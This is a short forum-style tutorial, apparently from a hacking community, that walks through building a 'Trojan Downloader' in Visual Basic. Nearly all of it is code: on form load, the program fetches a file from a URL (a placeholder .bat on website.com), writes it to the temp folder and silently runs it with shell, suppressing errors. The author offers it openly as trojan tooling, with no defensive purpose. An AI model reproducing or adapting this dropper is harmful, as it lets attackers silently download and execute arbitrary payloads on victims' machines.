Hi guys, My Trojan Downloader program was a very popular program so I decided to create a short tutorial on how to make on. YOU MUST HAVE A DECENT KNOWLEDGE OF VISUAL BASIC! Okay, let's get started! First of all you will need the proper tools.
•Microsoft Visual Basic
•Decent knowledge of Visual Basic
Now open up VB and start a new standard exe. Now, you will need to add a reference to Microsoft Internet Transfer Control (Inet). Add an Inet control to your form and then double click the form so your code should now look like this:
Code
Private Sub Form1_Load()
End Sub
Now add this text to your form:
Code
Private Sub Form1_Load()
dim URL as string
dim extension as string
URL = "http://www.website.com/file.bat"
extension = ".bat"
Downloadfile(URL, extension)
End Sub
Create a new module and put this code in:
Code
Public Function DownloadFile(url As String, extension As String)
On Error GoTo Error
Dim strURL As String
Dim bData() As Byte
Dim intFile As Integer
strURL = url
intFile = FreeFile()
bData() = Inet1.OpenURL(strURL, icByteArray)
Open Environ("temp") & "temp" & extension For Binary Access Write As #intFile
Put #intFile, , bData()
Close #intFile
Exit Function
Error:
End
End Function
Now add this code:
Code
Private Sub Form1_Load()
dim URL as string
dim extension as string
URL = "http://www.website.com/file.bat"
extension = ".bat"
Downloadfile(URL, extension)
shell Environ("temp") & "temp" & extension
End Sub
You're done, you now have your basic downloader